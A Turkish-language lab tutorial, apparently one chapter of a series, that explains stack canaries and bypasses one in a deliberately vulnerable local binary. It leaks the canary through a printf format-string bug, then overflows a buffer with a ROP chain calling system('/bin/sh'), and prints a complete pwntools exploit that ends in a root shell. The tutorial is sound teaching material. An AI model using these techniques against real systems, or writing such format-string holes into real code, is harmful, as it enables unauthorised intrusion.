Önceki bölüm ile aynı hedefe sahibiz, programın akışını değiştirerek bir shell çalıştırmak.
Önceki bölümdeki kod biraz daha modifiye edilmiş, hadi biraz daha yakından inceleyelim:
char name[40], answer[16];
Bu sefer iki farklı buffer'ımız var, ilk olarak önceki bölümlerde olduğu gibi program ismimizi soruyor:
puts("Hello, what's your name?");
scanf("%s", name);
Burda yine scanf()
, doğrudan sadece %s
formatı ile kullanıldığından overflow mümkün.
İsmimizi sorduktan sonra bu sefer ilginç birşey yapıyor, ismizi doğrulamamızı istiyor:
printf(name);
printf("? [yes/no]\n");
Bu sorunun cevabı yine bir scanf()
çağrısı ile answer
bufferına yazılıyor. Yine
burda da overflow mümkün:
scanf("%s", answer);
Son olarak program cevabımızın evet olup olmadığını kontrol ediyor, eğer cevabımız evetse program önceki tanışma mesajını ekrana basıyor:
if(strcmp(answer, "yes")==0)
printf("Nice to meet you %s!\n", name);
Yani çok da birşey değilmiş değil, ilk başta name bufferını taşırıp önceki bölümdeki exploitimizi yeni buffer için azcık modifiye edip kullanabiliriz. Değil mi?
Eğer önceki bölümden dersinizi alıp Makefile
dosyasını okuduysanız cevabı çoktan
biliyorsunuz: Değil!
Önceki bölümden farklı olarak bu program derleme aşamasında -fno-stack-protector
argümanını
kullanmıyor. Bunun yerine -fstack-protector
kullanılmış. Bu da demek ki "stack protector"
bu program için aktif konumda. Bu bellek korumasını (önceki bölümdeki gibi) pwntools'un checksec
aracı ile görüntüleyebilirsiniz:
root@o101:~/0x3# pwn checksec ./0x3.elf
[*] '/root/0x3/0x3.elf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Peki bu bellek koruması tam olarak ne işe yarıyor?
Stack smashing protector (SSP), stack cookie veya stack canary, caller tarafından stack frame'inin
başına yerleştirilen rastgele bir (64 bit sistemlerde) 8 byte değerden ibaret. Yani bu değer rbp
ve dönüş adresinden üstte (ya da stacki nasıl ele aldığınıza göre aşağıda). Bu demek oluyor ki dönüş
adresine erişmek için bir önce bu adresin üzerine yazmalıyız.
Eeee ne var bunda, altı üstü payload'ımıza 8 byte daha ekliyeceğiz?
Tüm olay da bu zaten. Dönüş adresine erişmek için çerezin üzerine yazmak zorundayız.
Program bu çerezin değerini kaydediyor ve de dönüş yapmadan önce gdb'de görüntüleyebileceğiniz
bir karşılaştırma yaparak çerez eğer kaydedilen değeri korumuyor ise __stack_chk_fail
fonksiyonunu
çağrırak programın çalışmasını *** stack smashing detected ***: terminated
mesajı ile durduruyor:
0x0000000000401208 <+162>: mov rdx,QWORD PTR [rbp-0x8]
0x000000000040120c <+166>: sub rdx,QWORD PTR fs:0x28
0x0000000000401215 <+175>: je 0x40121c <main+182>
0x0000000000401217 <+177>: call 0x401040 <__stack_chk_fail@plt>
0x000000000040121c <+182>: leave
0x000000000040121d <+183>: ret
Bu mesajı asıl implementasyonda (gcc libssp/ssp.c
) görüntüleyebiliriz:
static void
fail (const char *msg1, size_t msg1len, const char *msg3)
{
...
/* Try very hard to exit. Note that signals may be blocked preventing
the first two options from working. The use of volatile is here to
prevent optimizers from "knowing" that __builtin_trap is called first,
and that it doesn't return, and so "obviously" the rest of the code
is dead. */
{
volatile int state;
for (state = 0; ; state++)
switch (state)
{
case 0:
__builtin_trap ();
break;
case 1:
*(volatile int *)-1L = 0;
break;
case 2:
_exit (127);
break;
}
}
}
void
__stack_chk_fail (void)
{
const char *msg = "*** stack smashing detected ***: ";
fail (msg, strlen (msg), "stack smashing detected: terminated");
}
Yine asıl implementasyona bakacak olursak bu çerez değerinin tamamen rastgele seçildiğini görebiliriz:
static void __attribute__ ((constructor))
__guard_setup (void)
{
unsigned char *p;
if (__stack_chk_guard != 0)
return;
#if defined (_WIN32) && !defined (__CYGWIN__)
...
#else
int fd = open ("/dev/urandom", O_RDONLY);
if (fd != -1)
{
ssize_t size = read (fd, &__stack_chk_guard,
sizeof (__stack_chk_guard));
close (fd);
if (size == sizeof(__stack_chk_guard) && __stack_chk_guard != 0)
return;
}
#endif
...
}
Bilmiyorsanız Linux (ve genel UNIX) sistemlerinde /dev/urandom
bloklamayan yani esktra entropi
için bekleme yapmayan rastgele veri okumaya yarıyor. Yani çerez tamami ile rastgele. Bu durumda
SSP'yi atlatmamız nasıl mümkün?
Bunu yapmanın iki yolu var:
- Çerezi brute force etmek: Bir program çalışma sırasında sadece bir kere rastgele çerez
oluşturuyor. Bu gerçeği çerezi parça parça kırabileceğimiz gerçeği ile birleştirince aslında çerezi
kaba kuvvet ile tahmin ederek kırmanın çok kolay olduğunu farkediyorsunuz. Tek sorun çerezi bir kere
hatalı deneyince programın çökmesi. Bu metodun çalışması için
fork()
gibi ekstra bir işlem oluşturan bir programa ihtiyacımız var:fork()
edilen işlemin çerezi parent ile aynı, ve fork edilen işlemin çökmesi parent'ın çökmesine sebep olmaz.
Bu durumda elimizdeki kod fork()
gibi bir fonksiyon kullanmıyor, o yüzden bu yöntemi kullanmamız
mümkün değil.
- Çerezi leaklemek: Eğer stackden arbitary veri okuması gerçekleştirebilirsek, çerezin değerini
leakleyebiliriz. Daha sonra çerezin değerini koruyarak aynı şekilde stack'e yazma yaparsak dönüş adresine
__stack_chk_fail
i tetiklemeden ulaşabiliriz.
Peki 2. yöntemi bu durumda nasıl uygulayabiliriz? Stackden veri okumamıza izin vericek bir arbitrary read (keyfi okuma) zafiyeti bu programda var mı ki?
...
printf(name);
...
Ah! İşte burda :)
printf
in nasıl çalıştığını sanırım hepimiz biliyoruz, bir formatlanmış metin veriyoruz, ve argümanlara
göre printf
bu metini formatlanmış şekilde ekrana basıyor.
Bu bilgi ile bana aşağıdaki kodun ne yapabileceğini söyleyebilir misiniz?
pritnf("%s");
Formatlanmış bir metin ama formatlanma için gerekli karakter dizesi argüman olarak verilmemiş. Bu durumda
printf
bir argüman var oldğunu varsayarak bellekden arbitrary okuma yapacaktır.
Bu koda bakıcak olursak name
değişkenin printf
e hangi argüman olarak verildiğine dikkat eddin:
printf(name);
name
değişkeni formatlanmış metin olarak printf
e geçiliyor. Doğru kullanımda olması gereken ise:
printf("%s", name);
Bu durumda biz name
değişkenini kontrol ettiğimizden printf
in formatlamasını da kontrol edebiliriz.
Bunu az önce öğrendiğimiz bilgi ile birleştirirsek bellekden arbitrary okuma yapacaktır.
Yani programın ilk bölümünde name
bufferına printf
ile okuma yapmak için formatlanmış bir metin
yazarak çerezi leakleyebilir, programın ikinci bölümünde ise answer bufferını taşırarak ve çerezi
koruyarak dönüş adresinin üzerine yazarak programın akışını yöntebiliriz.
Hadi bunu pratiğe dökelim.
Önce printf
ile nasıl okuma yapabileceğimize bir bakalım:
root@o101:~/0x3# ./0x3.elf
Hello, what's your name?
%d
4216497? [yes/no]
Güzel, bellekden rastgele bir değer okuduk, ancak çerezi seçebilmek adına daha iyi bir formatlama kullanabiliriz:
root@o101:~/0x3# ./0x3.elf
Hello, what's your name?
%p
0x4056b1? [yes/no]
Şimdi biraz daha fazla okuma yapabiliriz, ancak buffer'ın uzunluğunun 40 olduğunu unutmayalım, çok fazla karakter girersek istenmeyen bir overflowa sebep olabiliriz.
root@o101:~/0x3# ./0x3.elf
Hello, what's your name?
%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
0x4056b1(nil)0x7ffff7fb18e00x4056d9(nil)(nil)(nil)0x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250xaa5096d3722361000x10x7ffff7dfecd00x7fffffffebc00x4011660x1004000400x7fffffffebd80x7fffffffebd8? [yes/no]
Yazabildiğimiz en uzun girdi ile aldığımız çıktı bu. İyi de burda çerezi nasıl bulacağız? Veya çerezi leaklediğimizi nerden bilebiliriz?
Bunun için gdb'de biraz inceleme yapabiliriz. Program yeni satırı koyduktan sonra bir breakpoint yerleştirebiliriz:
root@o101:~/0x3# gdb ./0x3.elf
...
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
...
0x0000000000401198 <+50>: call 0x401070 <scanf@plt>
0x000000000040119d <+55>: lea rax,[rbp-0x30]
0x00000000004011a1 <+59>: mov rdi,rax
0x00000000004011a4 <+62>: mov eax,0x0
0x00000000004011a9 <+67>: call 0x401050 <printf@plt>
0x00000000004011ae <+72>: lea rax,[rip+0xe68] # 0x40201d
0x00000000004011b5 <+79>: mov rdi,rax
0x00000000004011b8 <+82>: call 0x401030 <puts@plt>
0x00000000004011bd <+87>: lea rax,[rbp-0x40]
...
(gdb) break *0x00000000004011bd
Breakpoint 1 at 0x4011b8
Şimdi programı çalıştırıp breakpoint'e ulaşınca stack'i incleyelim:
(gdb) run
Starting program: /root/0x3/0x3
...
Hello, what's your name?
%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
0x4056b1(nil)0x7ffff7fb18e00x4056d9(nil)(nil)(nil)0x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x66873b1eca714a000x10x7ffff7dfecd00x7fffffffeb800x4011660x1004000400x7fffffffeb980x7fffffffeb98? [yes/no]
Breakpoint 4, 0x00000000004011bd in main ()
(gdb) x/24xg $rsp
0x7fffffffea40: 0x0000000000000000 0x0000000000000000
0x7fffffffea50: 0x7025702570257025 0x7025702570257025
0x7fffffffea60: 0x7025702570257025 0x7025702570257025
0x7fffffffea70: 0x7025702570257025 0x66873b1eca714a00
0x7fffffffea80: 0x0000000000000001 0x00007ffff7dfecd0
0x7fffffffea90: 0x00007fffffffeb80 0x0000000000401166
0x7fffffffeaa0: 0x0000000100400040 0x00007fffffffeb98
0x7fffffffeab0: 0x00007fffffffeb98 0x8783420280ac1eda
0x7fffffffeac0: 0x0000000000000000 0x00007fffffffeba8
0x7fffffffead0: 0x00007ffff7ffd000 0x0000000000403df0
0x7fffffffeae0: 0x787cbdfd558e1eda 0x787cadbd59a61eda
0x7fffffffeaf0: 0x0000000000000000 0x0000000000000000
Stacke bakarsak ilk farkettiğimiz şey answer
buffer'ının sonradan tanımlanmış olmasına
rağmen başta olması. Bu GCC'in yaptığı optimizasyonlardan biri. Sonrasında name
buffer'ını görüyoruz. 0x7025
hex formunda %p
karakterine denk geliyor. Bundan sonra
gelen rastgele bellek adresi işte bizim çerezimiz. Arkasından rbp
ve dönüş değerimiz.
Çerezi aslında kolayca tanımanın bir yolu var. Başındaki 0x00
yani null termination karakterini
görüyor musunuz? Her çerez bu karakter ile başlıyor. Bunun amacı null termination'ın unutulduğu durumlarda
strcpy
gibi fonksiyonlar istemeden çerezi leaklemesini engellemek.
Eğer leaklediğimiz veriye bakarsak, bu verinin çoğunun formatlanan metnin kendisinden ibaret olduğunu göreceğiz, ama dikkatli bakarsanız bu veri içinde çerezi görebilirsiniz:
Hello, what's your name?
%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
0x4056b1(nil)0x7ffff7fb18e00x4056d9(nil)(nil)(nil)0x70257025702570250x70257025702570250x70257025702570250x70257025702570250x7025702570257025 !!0x66873b1eca714a00 !! 0x10x7ffff7dfecd00x7fffffffeb800x4011660x1004000400x7fffffffeb980x7fffffffeb98? [yes/no]
Şimdi hangi noktada çerezi leaklediğimize bakalım. Bunu sadece deneme yanılma yaparak bulabilirsiniz:
Hello, what's your name?
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
0xa,(nil),(nil),0x40201e,0x7ffff7fb0a80,(nil),(nil),0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x2c70252c70252c,0x4e8e3cca3a9af100? [yes/no]
Bu durumda, 13. %p
formatı ile çerezi leakliyoruz. Artık çerezi leakleyebildiğimize göre exploitin
diğer kısmına geçmeden önce tartışmamız gereken birşey var.
Önceki bölümlerde kullandığımız /tmp/ex
dosyasına exploiti yazan scriptimizin çalışmayacağını sanırım
farkettiniz. Çerez programın çalışması sırasında leaklendiğinden bize dinamik olarak exploit için doğru
payload'ı oluşturabilecek bir script lazım.
Bunun için programın IO'sunu (stdin, stdout, stderr) kontrol ederek önce çerezi leakleyen sonrada çerezi stdout'dan okuyup, payloadı oluşturup sonrada programa sağlıyacak bir script yazabiliriz, ama bu oldukça karmaşık ve de gereksiz olacaktır. Çünkü zaten bunu bizim için yapabilecek birşey var, pwntools!
pwntools scriptimizde, kolay bir şekilde zafiyetli binary'nin IO'sunu kontrol etmemizi ve payload oluşturmamızı sağlıyor.
pwntools'u kullanmak için ilk yapmamız gerek import etmek:
from pwn import *
Sonrasında context
yapısını düzenleyerek hedef binary, işletim sistemi ve mimarimizi belirtebiliriz:
context.update(arch="amd64", os="linux")
context.binary = ELF("./0x3.elf")
Şimdi de binary'i bir işlem olarak başlatıp belirli bir noktaya kadar IO'dan okuma yapabiliriz,
verimizi girmeden önce Hello, what's your name?
çıktısına kadar ulaşmak istiyoruz. Bu durumda
tek yapmamız gerek bu çıktının sonunda yer alan yeni satır karakterine kadar okuma yapmak:
p = process("./0x3.elf")
p.recvuntil(b"\n")
Sonrasında çerezi leaklemek için ilk girdimizi gönderelim ve de sıradaki satırı okuyalım. Bu satır evet/hayır sorsunu dolayısı ile de leakimizi içerecek. Her leaki boşluk karakteri ile ayırdığımızdan en sonda bulunan çereze ulaşmak için biraz string manipülasyonu yapabiliriz:
p.sendline(b"%p,"*13)
cookie = p.recvline().split(b",")[12]
info(f"Leaked cookie: {cookie.decode()}")
Bundan sonra answer
bufferına yazma yapacağımızdan şimdi asıl payloadımızı oluşturma zamanı.
Stack'i hatırlarsanız, answer
buffer'ı name
buffer'ından önce geliyor. O yüzden 16+40
hesabından 56 karakter yazarak önce answer
bufferını sonrada name
bufferını doldurmamız lazım:
payload = b"A"*56 # answer + name
Şimdi sıra leaklediğimiz çerezi geri yazmada, bu çerez şuan byte formunda, int()
fonksiyonu
ile hex formuna çevirebiliriz:
payload += p64(int(cookie, 16))
Şimdi de rbp
ile karşı karşıyayız, buray rastgele birşey ile doldurup devam edebiliriz:
payload += b"A"*8
Artık dönüş adresine geldik, önceki exploitimizi aynen kullanabiliriz, fakat struct
modülü
ile değerleri farklı endian formlarına çevirmek yerine pwntools'un fonksiyonlarını kullanabiliriz:
payload += p64(0x7ffff7e057e5) # pop rdi; ret
payload += p64(0x7ffff7f74031) # /bin/sh
payload += p64(0x7ffff7e04e99) # ret
payload += p64(0x7ffff7e2a490) # system()
Son olarak payload'ı stdin'den programa gönderebiliriz, ardından interactive
moduna geçerek
stdin'i pwntools'dan devralabiliriz. Bu şekilde shell'i kontrol ediceğiz:
p.sendline(payload)
p.interactive()
Tam exploit aşağıdaki gibi:
from pwn import *
context.update(arch="amd64", os="linux")
context.binary = ELF("./0x3.elf")
p = process("./0x3.elf")
p.recvuntil(b"\n")
p.sendline(b"%p,"*13)
cookie = p.recvline().split(b",")[12]
info(f"Leaked cookie: {cookie.decode()}")
payload = b"A"*56 # answer + name
payload += p64(int(cookie, 16)) # cookie
payload += b"A"*8 # rbp
payload += p64(0x7ffff7e057e5) # pop rdi; ret
payload += p64(0x7ffff7f74031) # /bin/sh
payload += p64(0x7ffff7e04e99) # ret
payload += p64(0x7ffff7e2a490) # system()
p.sendline(payload)
p.interactive()
Artık herşey hazır, exploitimizi test edebiliriz:
root@o101:~/0x3# python3 solve.py
[*] '/root/0x3/0x3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './0x3.elf': pid 2401
[*] Leaked cookie: 0x2b0be40b82f08300
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)